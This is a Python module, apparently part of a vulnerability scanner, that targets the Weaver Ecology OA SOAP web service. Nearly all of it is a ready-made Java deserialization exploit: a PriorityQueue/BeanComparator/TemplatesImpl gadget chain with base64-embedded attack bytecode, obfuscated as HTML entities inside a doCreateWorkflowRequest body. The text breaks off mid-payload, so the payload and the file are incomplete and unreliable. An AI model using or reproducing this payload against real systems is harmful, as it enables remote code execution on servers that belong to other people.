#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import threading
from thirdparty import requests
from module import globals
from module.md5 import random_md5
from core.verify import verify
from core.verify import misinformation
from thirdparty.requests_toolbelt.utils import dump
from thirdparty.requests.compat import urljoin
import json


class Ecology():
    def __init__(self, url):
        self.url = url
        self.raw_data = None
        self.vul_info = {}
        self.ua = globals.get_value("UA")  # 获取全局变量UA
        self.timeout = globals.get_value("TIMEOUT")  # 获取全局变量UA
        self.headers = globals.get_value("HEADERS")  # 获取全局变量HEADERS
        self.threadLock = threading.Lock()

        self.payload_time_2021_0515  = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
   <soapenv:Header/>
   <soapenv:Body>
      <web:doCreateWorkflowRequest>
    <web:string>&lt;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#80;&#114;&#105;&#111;&#114;&#105;&#116;&#121;&#81;&#117;&#101;&#117;&#101;&#32;&#115;&#101;&#114;&#105;&#97;&#108;&#105;&#122;&#97;&#116;&#105;&#111;&#110;&#61;&quot;&#99;&#117;&#115;&#116;&#111;&#109;&quot;&gt;&#13;&#10;&#32;&#32;&lt;&#117;&#110;&#115;&#101;&#114;&#105;&#97;&#108;&#105;&#122;&#97;&#98;&#108;&#101;&#45;&#112;&#97;&#114;&#101;&#110;&#116;&#115;&#47;&gt;&#13;&#10;&#32;&#32;&lt;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#80;&#114;&#105;&#111;&#114;&#105;&#116;&#121;&#81;&#117;&#101;&#117;&#101;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#115;&#105;&#122;&#101;&gt;&#50;&lt;&#47;&#115;&#105;&#122;&#101;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#99;&#111;&#109;&#112;&#97;&#114;&#97;&#116;&#111;&#114;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&quot;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#99;&#111;&#109;&#109;&#111;&#110;&#115;&#46;&#98;&#101;&#97;&#110;&#117;&#116;&#105;&#108;&#115;&#46;&#66;&#101;&#97;&#110;&#67;&#111;&#109;&#112;&#97;&#114;&#97;&#116;&#111;&#114;&quot;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#112;&#114;&#111;&#112;&#101;&#114;&#116;&#121;&gt;&#111;&#117;&#116;&#112;&#117;&#116;&#80;&#114;&#111;&#112;&#101;&#114;&#116;&#105;&#101;&#115;&lt;&#47;&#112;&#114;&#111;&#112;&#101;&#114;&#116;&#121;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#99;&#111;&#109;&#112;&#97;&#114;&#97;&#116;&#111;&#114;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&quot;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#99;&#111;&#109;&#109;&#111;&#110;&#115;&#46;&#99;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&#115;&#46;&#99;&#111;&#109;&#112;&#97;&#114;&#97;&#116;&#111;&#114;&#115;&#46;&#67;&#111;&#109;&#112;&#97;&#114;&#97;&#98;&#108;&#101;&#67;&#111;&#109;&#112;&#97;&#114;&#97;&#116;&#111;&#114;&quot;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#99;&#111;&#109;&#112;&#97;&#114;&#97;&#116;&#111;&#114;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#47;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#105;&#110;&#116;&gt;&#51;&lt;&#47;&#105;&#110;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#120;&#97;&#108;&#97;&#110;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#120;&#115;&#108;&#116;&#99;&#46;&#116;&#114;&#97;&#120;&#46;&#84;&#101;&#109;&#112;&#108;&#97;&#116;&#101;&#115;&#73;&#109;&#112;&#108;&#32;&#115;&#101;&#114;&#105;&#97;&#108;&#105;&#122;&#97;&#116;&#105;&#111;&#110;&#61;&quot;&#99;&#117;&#115;&#116;&#111;&#109;&quot;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#120;&#97;&#108;&#97;&#110;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#120;&#115;&#108;&#116;&#99;&#46;&#116;&#114;&#97;&#120;&#46;&#84;&#101;&#109;&#112;&#108;&#97;&#116;&#101;&#115;&#73;&#109;&#112;&#108;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#95;&#95;&#110;&#97;&#109;&#101;&gt;&#80;&#119;&#110;&#114;&lt;&#47;&#95;&#95;&#110;&#97;&#109;&#101;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#95;&#95;&#98;&#121;&#116;&#101;&#99;&#111;&#100;&#101;&#115;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#98;&#121;&#116;&#101;&#45;&#97;&#114;&#114;&#97;&#121;&gt;&#121;&#118;&#54;&#54;&#118;&#103;&#65;&#65;&#65;&#68;&#81;&#65;&#106;&#119;&#111;&#65;&#67;&#103;&#65;&#47;&#67;&#81;&#65;&#105;&#65;&#69;&#65;&#75;&#65;&#69;&#69;&#65;&#81;&#103;&#111;&#65;&#81;&#81;&#66;&#68;&#67;&#65;&#66;&#69;&#67;&#103;&#66;&#70;&#65;&#69;&#89;&#73;&#65;&#68;&#85;&#72;&#65;&#69;&#99;&#75;&#65;&#65;&#103;&#65;&#83;&#65;&#99;&#65;&#83;&#81;&#111;&#65;&#83;&#103;&#66;&#76;&#66;&#119;&#66;&#77;&#67;&#65;&#65;&#117;&#67;&#103;&#65;&#77;&#65;&#69;&#48;&#75;&#65;&#65;&#119;&#65;&#84;&#103;&#99;&#65;&#84;&#119;&#115;&#65;&#69;&#65;&#66;&#81;&#66;&#119;&#66;&#82;&#67;&#103;&#66;&#83;&#65;&#70;&#77;&#72;&#65;&#70;&#81;&#75;&#65;&#66;&#81;&#65;&#80;&#119;&#103;&#65;&#86;&#81;&#111;&#65;&#70;&#65;&#66;&#87;&#67;&#103;&#65;&#85;&#65;&#70;&#99;&#75;&#65;&#70;&#73;&#65;&#87;&#65;&#111;&#65;&#87;&#81;&#66;&#97;&#67;&#103;&#65;&#83;&#65;&#70;&#115;&#73;&#65;&#70;&#119;&#75;&#65;&#66;&#73;&#65;&#88;&#81;&#111;&#65;&#69;&#103;&#66;&#101;&#67;&#103;&#66;&#102;&#65;&#71;&#65;&#72;&#65;&#71;&#69;&#75;&#65;&#67;&#65;&#65;&#89;&#103;&#99;&#65;&#89;&#119;&#99;&#65;&#90;&#65;&#69;&#65;&#66;&#71;&#112;&#104;&#97;&#51;&#107;&#66;&#65;&#66;&#74;&#77;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#115;&#89;&#87;&#53;&#110;&#76;&#49;&#78;&#48;&#99;&#109;&#108;&#117;&#90;&#122;&#115;&#66;&#65;&#65;&#89;&#56;&#97;&#87;&#53;&#112;&#100;&#68;&#52;&#66;&#65;&#65;&#77;&#111;&#75;&#86;&#89;&#66;&#65;&#65;&#82;&#68;&#98;&#50;&#82;&#108;&#65;&#81;&#65;&#80;&#84;&#71;&#108;&#117;&#90;&#85;&#53;&#49;&#98;&#87;&#74;&#108;&#99;&#108;&#82;&#104;&#89;&#109;&#120;&#108;&#65;&#81;&#65;&#83;&#84;&#71;&#57;&#106;&#89;&#87;&#120;&#87;&#89;&#88;&#74;&#112;&#89;&#87;&#74;&#115;&#90;&#86;&#82;&#104;&#89;&#109;&#120;&#108;&#65;&#81;&#65;&#69;&#100;&#71;&#104;&#112;&#99;&#119;&#69;&#65;&#73;&#107;&#120;&#53;&#89;&#87;&#57;&#122;&#90;&#88;&#74;&#112;&#89;&#87;&#119;&#118;&#99;&#71;&#70;&#53;&#98;&#71;&#57;&#104;&#90;&#72;&#77;&#118;&#100;&#88;&#82;&#112;&#98;&#67;&#57;&#85;&#90;&#88;&#78;&#48;&#84;&#50;&#74;&#113;&#77;&#84;&#115;&#66;&#65;&#65;&#103;&#56;&#89;&#50;&#120;&#112;&#98;&#109;&#108;&#48;&#80;&#103;&#69;&#65;&#65;&#50;&#78;&#116;&#90;&#65;&#69;&#65;&#65;&#51;&#74;&#108;&#99;&#65;&#69;&#65;&#75;&#69;&#120;&#113;&#89;&#88;&#90;&#104;&#101;&#67;&#57;&#122;&#90;&#88;&#74;&#50;&#98;&#71;&#86;&#48;&#76;&#50;&#104;&#48;&#100;&#72;&#65;&#118;&#83;&#72;&#82;&#48;&#99;&#70;&#78;&#108;&#99;&#110;&#90;&#115;&#90;&#88;&#82;&#83;&#90;&#88;&#78;&#119;&#98;&#50;&#53;&#122;&#90;&#84;&#115;&#66;&#65;&#65;&#78;&#118;&#100;&#88;&#81;&#66;&#65;&#66;&#86;&#77;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#112;&#98;&#121;&#57;&#81;&#99;&#109;&#108;&#117;&#100;&#70;&#100;&#121;&#97;&#88;&#82;&#108;&#99;&#106;&#115;&#66;&#65;&#65;&#74;&#122;&#97;&#81;&#69;&#65;&#69;&#85;&#120;&#113;&#89;&#88;&#90;&#104;&#76;&#50;&#120;&#104;&#98;&#109;&#99;&#118;&#81;&#50;&#120;&#104;&#99;&#51;&#77;&#55;&#65;&#81;&#65;&#82;&#90;&#50;&#86;&#48;&#81;&#50;&#57;&#117;&#100;&#71;&#86;&#52;&#100;&#70;&#74;&#108;&#99;&#88;&#86;&#108;&#99;&#51;&#81;&#66;&#65;&#66;&#112;&#77;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#115;&#89;&#87;&#53;&#110;&#76;&#51;&#74;&#108;&#90;&#109;&#120;&#108;&#89;&#51;&#81;&#118;&#84;&#87;&#86;&#48;&#97;&#71;&#57;&#107;&#79;&#119;&#69;&#65;&#65;&#51;&#74;&#108;&#99;&#81;&#69;&#65;&#76;&#48;&#120;&#106;&#98;&#50;&#48;&#118;&#89;&#50;&#70;&#49;&#89;&#50;&#104;&#118;&#76;&#51;&#78;&#108;&#99;&#110;&#90;&#108;&#99;&#105;&#57;&#111;&#100;&#72;&#82;&#119;&#76;&#48;&#104;&#48;&#100;&#72;&#66;&#84;&#90;&#88;&#74;&#50;&#98;&#71;&#86;&#48;&#85;&#109;&#86;&#120;&#100;&#87;&#86;&#122;&#100;&#69;&#108;&#116;&#99;&#71;&#119;&#55;&#65;&#81;&#65;&#66;&#90;&#81;&#69;&#65;&#70;&#85;&#120;&#113;&#89;&#88;&#90;&#104;&#76;&#50;&#120;&#104;&#98;&#109;&#99;&#118;&#82;&#88;&#104;&#106;&#90;&#88;&#66;&#48;&#97;&#87;&#57;&#117;&#79;&#119;&#69;&#65;&#68;&#86;&#78;&#48;&#89;&#87;&#78;&#114;&#84;&#87;&#70;&#119;&#86;&#71;&#70;&#105;&#98;&#71;&#85;&#72;&#65;&#71;&#69;&#66;&#65;&#65;&#112;&#84;&#98;&#51;&#86;&#121;&#89;&#50;&#86;&#71;&#97;&#87;&#120;&#108;&#65;&#81;&#65;&#78;&#86;&#71;&#86;&#122;&#100;&#69;&#57;&#105;&#97;&#106;&#69;&#117;&#97;&#109;&#70;&#50;&#89;&#81;&#119;&#65;&#74;&#103;&#65;&#110;&#68;&#65;&#65;&#107;&#65;&#67;&#85;&#72;&#65;&#71;&#85;&#77;&#65;&#71;&#89;&#65;&#90;&#119;&#119;&#65;&#97;&#65;&#66;&#112;&#65;&#81;&#65;&#115;&#89;&#50;&#57;&#116;&#76;&#109;&#78;&#104;&#100;&#87;&#78;&#111;&#98;&#121;&#53;&#122;&#90;&#88;&#74;&#50;&#90;&#88;&#73;&#117;&#90;&#71;&#108;&#122;&#99;&#71;&#70;&#48;&#89;&#50;&#103;&#117;&#85;&#50;&#86;&#121;&#100;&#109;&#120;&#108;&#100;&#69;&#108;&#117;&#100;&#109;&#57;&#106;&#89;&#88;&#82;&#112;&#98;&#50;&#52;&#72;&#65;&#71;&#111;&#77;&#65;&#71;&#115;&#65;&#98;&#65;&#69;&#65;&#68;&#50;&#112;&#104;&#100;&#109;&#69;&#118;&#98;&#71;&#70;&#117;&#90;&#121;&#57;&#68;&#98;&#71;&#70;&#122;&#99;&#119;&#119;&#65;&#98;&#81;&#66;&#117;&#65;&#81;&#65;&#81;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#115;&#89;&#87;&#53;&#110;&#76;&#48;&#57;&#105;&#97;&#109;&#86;&#106;&#100;&#65;&#99;&#65;&#98;&#119;&#119;&#65;&#99;&#65;&#66;&#120;&#65;&#81;&#65;&#116;&#89;&#50;&#57;&#116;&#76;&#50;&#78;&#104;&#100;&#87;&#78;&#111;&#98;&#121;&#57;&#122;&#90;&#88;&#74;&#50;&#90;&#88;&#73;&#118;&#97;&#72;&#82;&#48;&#99;&#67;&#57;&#73;&#100;&#72;&#82;&#119;&#85;&#50;&#86;&#121;&#100;&#109;&#120;&#108;&#100;&#70;&#74;&#108;&#99;&#88;&#86;&#108;&#99;&#51;&#82;&#74;&#98;&#88;&#66;&#115;&#68;&#65;&#66;&#121;&#65;&#72;&#77;&#77;&#65;&#72;&#81;&#65;&#100;&#81;&#69;&#65;&#74;&#109;&#112;&#104;&#100;&#109;&#70;&#52;&#76;&#51;&#78;&#108;&#99;&#110;&#90;&#115;&#90;&#88;&#81;&#118;&#97;&#72;&#82;&#48;&#99;&#67;&#57;&#73;&#100;&#72;&#82;&#119;&#85;&#50;&#86;&#121;&#100;&#109;&#120;&#108;&#100;&#70;&#74;&#108;&#99;&#51;&#66;&#118;&#98;&#110;&#78;&#108;&#68;&#65;&#66;&#50;&#65;&#72;&#99;&#66;&#65;&#66;&#70;&#113;&#89;&#88;&#90;&#104;&#76;&#51;&#86;&#48;&#97;&#87;&#119;&#118;&#85;&#50;&#78;&#104;&#98;&#109;&#53;&#108;&#99;&#103;&#99;&#65;&#101;&#65;&#119;&#65;&#101;&#81;&#66;&#54;&#65;&#81;&#65;&#88;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#115;&#89;&#87;&#53;&#110;&#76;&#49;&#78;&#48;&#99;&#109;&#108;&#117;&#90;&#48;&#74;&#49;&#97;&#87;&#120;&#107;&#90;&#88;&#73;&#66;&#65;&#65;&#100;&#106;&#98;&#87;&#81;&#103;&#76;&#50;&#77;&#103;&#68;&#65;&#66;&#55;&#65;&#72;&#119;&#77;&#65;&#72;&#48;&#65;&#102;&#103;&#119;&#65;&#102;&#119;&#67;&#65;&#66;&#119;&#67;&#66;&#68;&#65;&#67;&#67;&#65;&#73;&#77;&#77;&#65;&#67;&#89;&#65;&#104;&#65;&#69;&#65;&#65;&#108;&#120;&#66;&#68;&#65;&#67;&#70;&#65;&#73;&#89;&#77;&#65;&#73;&#99;&#65;&#102;&#103;&#99;&#65;&#105;&#65;&#119;&#65;&#105;&#81;&#67;&#75;&#65;&#81;&#65;&#84;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#115;&#89;&#87;&#53;&#110;&#76;&#48;&#86;&#52;&#89;&#50;&#86;&#119;&#100;&#71;&#108;&#118;&#98;&#103;&#119;&#65;&#105;&#119;&#65;&#110;&#65;&#81;&#65;&#103;&#101;&#87;&#70;&#118;&#99;&#50;&#86;&#121;&#97;&#87;&#70;&#115;&#76;&#51;&#66;&#104;&#101;&#87;&#120;&#118;&#89;&#87;&#82;&#122;&#76;&#51;&#86;&#48;&#97;&#87;&#119;&#118;&#86;&#71;&#86;&#122;&#100;&#69;&#57;&#105;&#97;&#106;&#69;&#66;&#65;&#66;&#82;&#113;&#89;&#88;&#90;&#104;&#76;&#50;&#108;&#118;&#76;&#49;&#78;&#108;&#99;&#109;&#108;&#104;&#98;&#71;&#108;&#54;&#89;&#87;&#74;&#115;&#90;&#81;&#69;&#65;&#69;&#71;&#112;&#104;&#100;&#109;&#69;&#118;&#98;&#71;&#70;&#117;&#90;&#121;&#57;&#85;&#97;&#72;&#74;&#108;&#89;&#87;&#81;&#66;&#65;&#65;&#49;&#106;&#100;&#88;&#74;&#121;&#90;&#87;&#53;&#48;&#86;&#71;&#104;&#121;&#90;&#87;&#70;&#107;&#65;&#81;&#65;&#85;&#75;&#67;&#108;&#77;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#115;&#89;&#87;&#53;&#110;&#76;&#49;&#82;&#111;&#99;&#109;&#86;&#104;&#90;&#68;&#115;&#66;&#65;&#66;&#86;&#110;&#90;&#88;&#82;&#68;&#98;&#50;&#53;&#48;&#90;&#88;&#104;&#48;&#81;&#50;&#120;&#104;&#99;&#51;&#78;&#77;&#98;&#50;&#70;&#107;&#90;&#88;&#73;&#66;&#65;&#66;&#107;&#111;&#75;&#85;&#120;&#113;&#89;&#88;&#90;&#104;&#76;&#50;&#120;&#104;&#98;&#109;&#99;&#118;&#81;&#50;&#120;&#104;&#99;&#51;&#78;&#77;&#98;&#50;&#70;&#107;&#90;&#88;&#73;&#55;&#65;&#81;&#65;&#86;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#115;&#89;&#87;&#53;&#110;&#76;&#48;&#78;&#115;&#89;&#88;&#78;&#122;&#84;&#71;&#57;&#104;&#90;&#71;&#86;&#121;&#65;&#81;&#65;&#74;&#98;&#71;&#57;&#104;&#90;&#69;&#78;&#115;&#89;&#88;&#78;&#122;&#65;&#81;&#65;&#108;&#75;&#69;&#120;&#113;&#89;&#88;&#90;&#104;&#76;&#50;&#120;&#104;&#98;&#109;&#99;&#118;&#85;&#51;&#82;&#121;&#97;&#87;&#53;&#110;&#79;&#121;&#108;&#77;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#115;&#89;&#87;&#53;&#110;&#76;&#48;&#78;&#115;&#89;&#88;&#78;&#122;&#79;&#119;&#69;&#65;&#67;&#87;&#100;&#108;&#100;&#69;&#49;&#108;&#100;&#71;&#104;&#118;&#90;&#65;&#69;&#65;&#81;&#67;&#104;&#77;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#115;&#89;&#87;&#53;&#110;&#76;&#49;&#78;&#48;&#99;&#109;&#108;&#117;&#90;&#122;&#116;&#98;&#84;&#71;&#112;&#104;&#100;&#109;&#69;&#118;&#98;&#71;&#70;&#117;&#90;&#121;&#57;&#68;&#98;&#71;&#70;&#122;&#99;&#122;&#115;&#112;&#84;&#71;&#112;&#104;&#100;&#109;&#69;&#118;&#98;&#71;&#70;&#117;&#90;&#121;&#57;&#121;&#90;&#87;&#90;&#115;&#90;&#87;&#78;&#48;&#76;&#48;&#49;&#108;&#100;&#71;&#104;&#118;&#90;&#68;&#115;&#66;&#65;&#66;&#104;&#113;&#89;&#88;&#90;&#104;&#76;&#50;&#120;&#104;&#98;&#109;&#99;&#118;&#99;&#109;&#86;&#109;&#98;&#71;&#86;&#106;&#100;&#67;&#57;&#78;&#90;&#88;&#82;&#111;&#98;&#50;&#81;&#66;&#65;&#65;&#90;&#112;&#98;&#110;&#90;&#118;&#97;&#50;&#85;&#66;&#65;&#68;&#107;&#111;&#84;&#71;&#112;&#104;&#100;&#109;&#69;&#118;&#98;&#71;&#70;&#117;&#90;&#121;&#57;&#80;&#89;&#109;&#112;&#108;&#89;&#51;&#81;&#55;&#87;&#48;&#120;&#113;&#89;&#88;&#90;&#104;&#76;&#50;&#120;&#104;&#98;&#109;&#99;&#118;&#84;&#50;&#74;&#113;&#90;&#87;&#78;&#48;&#79;&#121;&#108;&#77;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#115;&#89;&#87;&#53;&#110;&#76;&#48;&#57;&#105;&#97;&#109;&#86;&#106;&#100;&#68;&#115;&#66;&#65;&#65;&#108;&#110;&#90;&#88;&#82;&#73;&#90;&#87;&#70;&#107;&#90;&#88;&#73;&#66;&#65;&#67;&#89;&#111;&#84;&#71;&#112;&#104;&#100;&#109;&#69;&#118;&#98;&#71;&#70;&#117;&#90;&#121;&#57;&#84;&#100;&#72;&#74;&#112;&#98;&#109;&#99;&#55;&#75;&#85;&#120;&#113;&#89;&#88;&#90;&#104;&#76;&#50;&#120;&#104;&#98;&#109;&#99;&#118;&#85;&#51;&#82;&#121;&#97;&#87;&#53;&#110;&#79;&#119;&#69;&#65;&#69;&#109;&#100;&#108;&#100;&#70;&#78;&#108;&#99;&#110;&#90;&#115;&#90;&#88;&#82;&#83;&#90;&#88;&#78;&#119;&#98;&#50;&#53;&#122;&#90;&#81;&#69;&#65;&#73;&#83;&#103;&#112;&#84;&#71;&#112;&#104;&#100;&#109;&#70;&#52;&#76;&#51;&#78;&#108;&#99;&#110;&#90;&#115;&#90;&#88;&#81;&#118;&#85;&#50;&#86;&#121;&#100;&#109;&#120;&#108;&#100;&#70;&#74;&#108;&#99;&#51;&#66;&#118;&#98;&#110;&#78;&#108;&#79;&#119;&#69;&#65;&#67;&#87;&#100;&#108;&#100;&#70;&#100;&#121;&#97;&#88;&#82;&#108;&#99;&#103;&#69;&#65;&#70;&#121;&#103;&#112;&#84;&#71;&#112;&#104;&#100;&#109;&#69;&#118;&#97;&#87;&#56;&#118;&#85;&#72;&#74;&#112;&#98;&#110;&#82;&#88;&#99;&#109;&#108;&#48;&#90;&#88;&#73;&#55;&#65;&#81;&#65;&#82;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#115;&#89;&#87;&#53;&#110;&#76;&#49;&#74;&#49;&#98;&#110;&#82;&#112;&#98;&#87;&#85;&#66;&#65;&#65;&#112;&#110;&#90;&#88;&#82;&#83;&#100;&#87;&#53;&#48;&#97;&#87;&#49;&#108;&#65;&#81;&#65;&#86;&#75;&#67;&#108;&#77;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#115;&#89;&#87;&#53;&#110;&#76;&#49;&#74;&#49;&#98;&#110;&#82;&#112;&#98;&#87;&#85;&#55;&#65;&#81;&#65;&#71;&#89;&#88;&#66;&#119;&#90;&#87;&#53;&#107;&#65;&#81;&#65;&#116;&#75;&#69;&#120;&#113;&#89;&#88;&#90;&#104;&#76;&#50;&#120;&#104;&#98;&#109;&#99;&#118;&#85;&#51;&#82;&#121;&#97;&#87;&#53;&#110;&#79;&#121;&#108;&#77;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#115;&#89;&#87;&#53;&#110;&#76;&#49;&#78;&#48;&#99;&#109;&#108;&#117;&#90;&#48;&#74;&#49;&#97;&#87;&#120;&#107;&#90;&#88;&#73;&#55;&#65;&#81;&#65;&#73;&#100;&#71;&#57;&#84;&#100;&#72;&#74;&#112;&#98;&#109;&#99;&#66;&#65;&#66;&#81;&#111;&#75;&#85;&#120;&#113;&#89;&#88;&#90;&#104;&#76;&#50;&#120;&#104;&#98;&#109;&#99;&#118;&#85;&#51;&#82;&#121;&#97;&#87;&#53;&#110;&#79;&#119;&#69;&#65;&#66;&#71;&#86;&#52;&#90;&#87;&#77;&#66;&#65;&#67;&#99;&#111;&#84;&#71;&#112;&#104;&#100;&#109;&#69;&#118;&#98;&#71;&#70;&#117;&#90;&#121;&#57;&#84;&#100;&#72;&#74;&#112;&#98;&#109;&#99;&#55;&#75;&#85;&#120;&#113;&#89;&#88;&#90;&#104;&#76;&#50;&#120;&#104;&#98;&#109;&#99;&#118;&#85;&#72;&#74;&#118;&#89;&#50;&#86;&#122;&#99;&#122;&#115;&#66;&#65;&#66;&#70;&#113;&#89;&#88;&#90;&#104;&#76;&#50;&#120;&#104;&#98;&#109;&#99;&#118;&#85;&#72;&#74;&#118;&#89;&#50;&#86;&#122;&#99;&#119;&#69;&#65;&#68;&#109;&#100;&#108;&#100;&#69;&#108;&#117;&#99;&#72;&#86;&#48;&#85;&#51;&#82;&#121;&#90;&#87;&#70;&#116;&#65;&#81;&#65;&#88;&#75;&#67;&#108;&#77;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#112;&#98;&#121;&#57;&#74;&#98;&#110;&#66;&#49;&#100;&#70;&#78;&#48;&#99;&#109;&#86;&#104;&#98;&#84;&#115;&#66;&#65;&#66;&#103;&#111;&#84;&#71;&#112;&#104;&#100;&#109;&#69;&#118;&#97;&#87;&#56;&#118;&#83;&#87;&#53;&#119;&#100;&#88;&#82;&#84;&#100;&#72;&#74;&#108;&#89;&#87;&#48;&#55;&#75;&#86;&#89;&#66;&#65;&#65;&#120;&#49;&#99;&#50;&#86;&#69;&#90;&#87;&#120;&#112;&#98;&#87;&#108;&#48;&#90;&#88;&#73;&#66;&#65;&#67;&#99;&#111;&#84;&#71;&#112;&#104;&#100;&#109;&#69;&#118;&#98;&#71;&#70;&#117;&#90;&#121;&#57;&#84;&#100;&#72;&#74;&#112;&#98;&#109;&#99;&#55;&#75;&#85;&#120;&#113;&#89;&#88;&#90;&#104;&#76;&#51;&#86;&#48;&#97;&#87;&#119;&#118;&#85;&#50;&#78;&#104;&#98;&#109;&#53;&#108;&#99;&#106;&#115;&#66;&#65;&#65;&#82;&#117;&#90;&#88;&#104;&#48;&#65;&#81;&#65;&#84;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#112;&#98;&#121;&#57;&#81;&#99;&#109;&#108;&#117;&#100;&#70;&#100;&#121;&#97;&#88;&#82;&#108;&#99;&#103;&#69;&#65;&#66;&#51;&#66;&#121;&#97;&#87;&#53;&#48;&#98;&#71;&#52;&#66;&#65;&#66;&#85;&#111;&#84;&#71;&#112;&#104;&#100;&#109;&#69;&#118;&#98;&#71;&#70;&#117;&#90;&#121;&#57;&#84;&#100;&#72;&#74;&#112;&#98;&#109;&#99;&#55;&#75;&#86;&#89;&#66;&#65;&#65;&#57;&#119;&#99;&#109;&#108;&#117;&#100;&#70;&#78;&#48;&#89;&#87;&#78;&#114;&#86;&#72;&#74;&#104;&#89;&#50;&#85;&#66;&#65;&#69;&#66;&#106;&#98;&#50;&#48;&#118;&#99;&#51;&#86;&#117;&#76;&#50;&#57;&#121;&#90;&#121;&#57;&#104;&#99;&#71;&#70;&#106;&#97;&#71;&#85;&#118;&#101;&#71;&#70;&#115;&#89;&#87;&#52;&#118;&#97;&#87;&#53;&#48;&#90;&#88;&#74;&#117;&#89;&#87;&#119;&#118;&#101;&#72;&#78;&#115;&#100;&#71;&#77;&#118;&#99;&#110;&#86;&#117;&#100;&#71;&#108;&#116;&#90;&#83;&#57;&#66;&#89;&#110;&#78;&#48;&#99;&#109;&#70;&#106;&#100;&#70;&#82;&#121;&#89;&#87;&#53;&#122;&#98;&#71;&#86;&#48;&#66;&#119;&#67;&#77;&#67;&#103;&#67;&#78;&#65;&#68;&#56;&#65;&#73;&#81;&#65;&#105;&#65;&#73;&#48;&#65;&#65;&#81;&#65;&#106;&#65;&#65;&#69;&#65;&#67;&#103;&#65;&#107;&#65;&#67;&#85;&#65;&#65;&#65;&#65;&#67;&#65;&#65;&#69;&#65;&#74;&#103;&#65;&#110;&#65;&#65;&#69;&#65;&#75;&#65;&#65;&#65;&#65;&#67;&#56;&#65;&#65;&#81;&#65;&#66;&#65;&#65;&#65;&#65;&#66;&#83;&#113;&#51;&#65;&#73;&#54;&#120;&#65;&#65;&#65;&#65;&#65;&#103;&#65;&#112;&#65;&#65;&#65;&#65;&#66;&#103;&#65;&#66;&#65;&#65;&#65;&#65;&#66;&#119;&#65;&#113;&#65;&#65;&#65;&#65;&#68;&#65;&#65;&#66;&#65;&#65;&#65;&#65;&#66;&#81;&#65;&#114;&#65;&#67;&#119;&#65;&#65;&#65;&#65;&#73;&#65;&#67;&#48;&#65;&#74;&#119;&#65;&#66;&#65;&#67;&#103;&#65;&#65;&#65;&#69;&#53;&#65;&#65;&#89;&#65;&#66;&#103;&#65;&#65;&#65;&#73;&#77;&#66;&#115;&#119;&#65;&#67;&#117;&#65;&#65;&#68;&#116;&#103;&#65;&#69;&#69;&#103;&#87;&#50;&#65;&#65;&#90;&#76;&#75;&#104;&#73;&#72;&#65;&#55;&#48;&#65;&#67;&#76;&#89;&#65;&#67;&#85;&#119;&#114;&#65;&#81;&#79;&#57;&#65;&#65;&#113;&#50;&#65;&#65;&#118;&#65;&#65;&#65;&#120;&#78;&#76;&#66;&#73;&#78;&#116;&#103;&#65;&#79;&#120;&#103;&#66;&#77;&#76;&#66;&#73;&#78;&#116;&#103;&#65;&#79;&#84;&#105;&#121;&#50;&#65;&#65;&#47;&#65;&#65;&#66;&#65;&#54;&#66;&#66;&#107;&#69;&#117;&#81;&#65;&#82;&#65;&#81;&#65;&#54;&#66;&#82;&#107;&#70;&#117;&#119;&#65;&#83;&#87;&#98;&#103;&#65;&#69;&#55;&#115;&#65;&#70;&#70;&#109;&#51;&#65;&#66;&#85;&#83;&#70;&#114;&#89;